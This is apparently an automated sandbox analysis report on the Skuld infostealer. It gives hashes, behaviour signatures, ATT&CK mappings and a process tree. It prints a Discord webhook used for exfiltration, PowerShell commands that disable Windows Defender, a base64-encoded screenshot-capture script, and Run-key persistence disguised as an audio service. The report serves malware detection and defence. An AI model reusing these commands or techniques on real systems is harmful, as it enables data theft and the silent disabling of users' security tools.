Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-10-2024 02:51
Behavioral task
behavioral1
Sample
skuld.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
skuld.exe
Resource
win10v2004-20241007-en
General
-
Target
skuld.exe
-
Size
9.8MB
-
MD5
cfe962e1730123425862d3ed1f87357e
-
SHA1
fdb545123e742f82fdfc6f60b9fb36b7f273e317
-
SHA256
b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699
-
SHA512
f99f3c00a00ec12cbfce9e65508429ba71cd4bd4efa2a48ef7e34e2295c9cfba5322457839723088052f7a91b3653687cdade2aadd8a788a55903fe0a3bacfc4
-
SSDEEP
98304:ujoGgersz5XxkXX9jKNkeEkRJVEWpJBJZrZ6QmEHr:ujzrszc4NkeE+Jm85mEHr
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1296302322007146567/s26FESYbNgv6dHTRzvf3V4yWoNeWLchott0cNcCquKmuP8BVU-cT-pNPgpIqbVY4_0uW
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 3204 powershell.exe 4672 powershell.exe -
Drops file in Drivers directory 3 IoCs
Processes:
skuld.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts skuld.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
skuld.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" skuld.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 8 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 10 Go-http-client/1.1 -
Processes:
skuld.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C skuld.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
skuld.exepowershell.exepowershell.exepowershell.exepid process 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 3204 powershell.exe 3204 powershell.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 4672 powershell.exe 4672 powershell.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 4460 powershell.exe 5064 skuld.exe 5064 skuld.exe 4460 powershell.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe 5064 skuld.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
skuld.exewmic.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 5064 skuld.exe Token: SeIncreaseQuotaPrivilege 1176 wmic.exe Token: SeSecurityPrivilege 1176 wmic.exe Token: SeTakeOwnershipPrivilege 1176 wmic.exe Token: SeLoadDriverPrivilege 1176 wmic.exe Token: SeSystemProfilePrivilege 1176 wmic.exe Token: SeSystemtimePrivilege 1176 wmic.exe Token: SeProfSingleProcessPrivilege 1176 wmic.exe Token: SeIncBasePriorityPrivilege 1176 wmic.exe Token: SeCreatePagefilePrivilege 1176 wmic.exe Token: SeBackupPrivilege 1176 wmic.exe Token: SeRestorePrivilege 1176 wmic.exe Token: SeShutdownPrivilege 1176 wmic.exe Token: SeDebugPrivilege 1176 wmic.exe Token: SeSystemEnvironmentPrivilege 1176 wmic.exe Token: SeRemoteShutdownPrivilege 1176 wmic.exe Token: SeUndockPrivilege 1176 wmic.exe Token: SeManageVolumePrivilege 1176 wmic.exe Token: 33 1176 wmic.exe Token: 34 1176 wmic.exe Token: 35 1176 wmic.exe Token: 36 1176 wmic.exe Token: SeIncreaseQuotaPrivilege 1176 wmic.exe Token: SeSecurityPrivilege 1176 wmic.exe Token: SeTakeOwnershipPrivilege 1176 wmic.exe Token: SeLoadDriverPrivilege 1176 wmic.exe Token: SeSystemProfilePrivilege 1176 wmic.exe Token: SeSystemtimePrivilege 1176 wmic.exe Token: SeProfSingleProcessPrivilege 1176 wmic.exe Token: SeIncBasePriorityPrivilege 1176 wmic.exe Token: SeCreatePagefilePrivilege 1176 wmic.exe Token: SeBackupPrivilege 1176 wmic.exe Token: SeRestorePrivilege 1176 wmic.exe Token: SeShutdownPrivilege 1176 wmic.exe Token: SeDebugPrivilege 1176 wmic.exe Token: SeSystemEnvironmentPrivilege 1176 wmic.exe Token: SeRemoteShutdownPrivilege 1176 wmic.exe Token: SeUndockPrivilege 1176 wmic.exe Token: SeManageVolumePrivilege 1176 wmic.exe Token: 33 1176 wmic.exe Token: 34 1176 wmic.exe Token: 35 1176 wmic.exe Token: 36 1176 wmic.exe Token: SeDebugPrivilege 3204 powershell.exe Token: SeIncreaseQuotaPrivilege 3348 wmic.exe Token: SeSecurityPrivilege 3348 wmic.exe Token: SeTakeOwnershipPrivilege 3348 wmic.exe Token: SeLoadDriverPrivilege 3348 wmic.exe Token: SeSystemProfilePrivilege 3348 wmic.exe Token: SeSystemtimePrivilege 3348 wmic.exe Token: SeProfSingleProcessPrivilege 3348 wmic.exe Token: SeIncBasePriorityPrivilege 3348 wmic.exe Token: SeCreatePagefilePrivilege 3348 wmic.exe Token: SeBackupPrivilege 3348 wmic.exe Token: SeRestorePrivilege 3348 wmic.exe Token: SeShutdownPrivilege 3348 wmic.exe Token: SeDebugPrivilege 3348 wmic.exe Token: SeSystemEnvironmentPrivilege 3348 wmic.exe Token: SeRemoteShutdownPrivilege 3348 wmic.exe Token: SeUndockPrivilege 3348 wmic.exe Token: SeManageVolumePrivilege 3348 wmic.exe Token: 33 3348 wmic.exe Token: 34 3348 wmic.exe Token: 35 3348 wmic.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
skuld.exepowershell.execsc.exedescription pid process target process PID 5064 wrote to memory of 5088 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 5088 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 1176 5064 skuld.exe wmic.exe PID 5064 wrote to memory of 1176 5064 skuld.exe wmic.exe PID 5064 wrote to memory of 3204 5064 skuld.exe powershell.exe PID 5064 wrote to memory of 3204 5064 skuld.exe powershell.exe PID 5064 wrote to memory of 2752 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 2752 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 3348 5064 skuld.exe wmic.exe PID 5064 wrote to memory of 3348 5064 skuld.exe wmic.exe PID 5064 wrote to memory of 4672 5064 skuld.exe powershell.exe PID 5064 wrote to memory of 4672 5064 skuld.exe powershell.exe PID 5064 wrote to memory of 4460 5064 skuld.exe powershell.exe PID 5064 wrote to memory of 4460 5064 skuld.exe powershell.exe PID 5064 wrote to memory of 5028 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 5028 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 3132 5064 skuld.exe attrib.exe PID 5064 wrote to memory of 3132 5064 skuld.exe attrib.exe PID 4460 wrote to memory of 840 4460 powershell.exe csc.exe PID 4460 wrote to memory of 840 4460 powershell.exe csc.exe PID 840 wrote to memory of 2940 840 csc.exe cvtres.exe PID 840 wrote to memory of 2940 840 csc.exe cvtres.exe -
Views/modifies file attributes 1 TTPs 4 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exepid process 5088 attrib.exe 2752 attrib.exe 5028 attrib.exe 3132 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\skuld.exe"C:\Users\Admin\AppData\Local\Temp\skuld.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Views/modifies file attributes
PID:5088 -
C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3204 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:2752 -
C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3348 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES96F0.tmp" "c:\Users\Admin\AppData\Local\Temp\dwg13p4f\CSC95D52C758ED3465FA4EC26E68A16A22.TMP"4⤵PID:2940
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5028 -
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:3132
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
944B
MD59c740b7699e2363ac4ecdf496520ca35
SHA1aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9
SHA256be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61
SHA5128885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af
-
Filesize
415KB
MD503a0a157b4f8facb342acbe5e36a1443
SHA1ec4bfd14f5c9950206ff8cf78c51e277c4e69acb
SHA256df4dfd26c65dceafe5a162721fa2a482fa0a94287ee0f0f48a148cc926e6e19a
SHA5124b28d0bafebaa1b4975c3eb76acd66d45c32da5173e866c73ea71b988f674b202976e1d40b144bf008e8d6af75816eace405c03ba6082e9357dd182dcb1f8c4c
-
Filesize
1KB
MD5f2992d9d6a77c68fef61035466b50246
SHA13fe8edd324cbc83f2df6f7086ace05275f39ca54
SHA2567661c7153db44c6ed05440266151288a2a8e53b1df8a76835531f3dc674ef0c5
SHA51279fb421e32efadcc27639abf6160d9b791318b2edbf66e0f988d5d1831db4cf80cd9a63e0fe4a6ce94fefceb1b1d0d99bb78763126a8ffb517c8cff0aa9817b1
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD567137f26e3a5b5cdd985cdf89eaaefe1
SHA1a3e5b7e51887af92ece6a5717dbb82542684dee8
SHA25637c40c9fc253c62b74033620a97cff44142e3b9312518b663d7629baa5c8f0e0
SHA51249d29ec8c25b2dc465e7d25051e186c21646d993ada92bf083ae67c5678b8e799b2939e48a7e16fca2be8e01472de99e850e35793b4770522c999577126105f5
-
Filesize
9.8MB
MD5cfe962e1730123425862d3ed1f87357e
SHA1fdb545123e742f82fdfc6f60b9fb36b7f273e317
SHA256b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699
SHA512f99f3c00a00ec12cbfce9e65508429ba71cd4bd4efa2a48ef7e34e2295c9cfba5322457839723088052f7a91b3653687cdade2aadd8a788a55903fe0a3bacfc4
-
Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
-
Filesize
652B
MD563b252d20ce6ddad9200ae2d08554310
SHA11fb9aa9e28c9930ed5cd27e330e1d13217e001d5
SHA256fef050741de4e44c89b11f047d6df9e884b7be9d396ac43270138bfd35a0d939
SHA512f2601f0181a62d287d37a01e4f2132de98a55ed6b139545ffa401926fad4e07533d9e20101e75f022383098b565308b2fe14a405a1add2ca2e159798dddd8ea9
-
Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
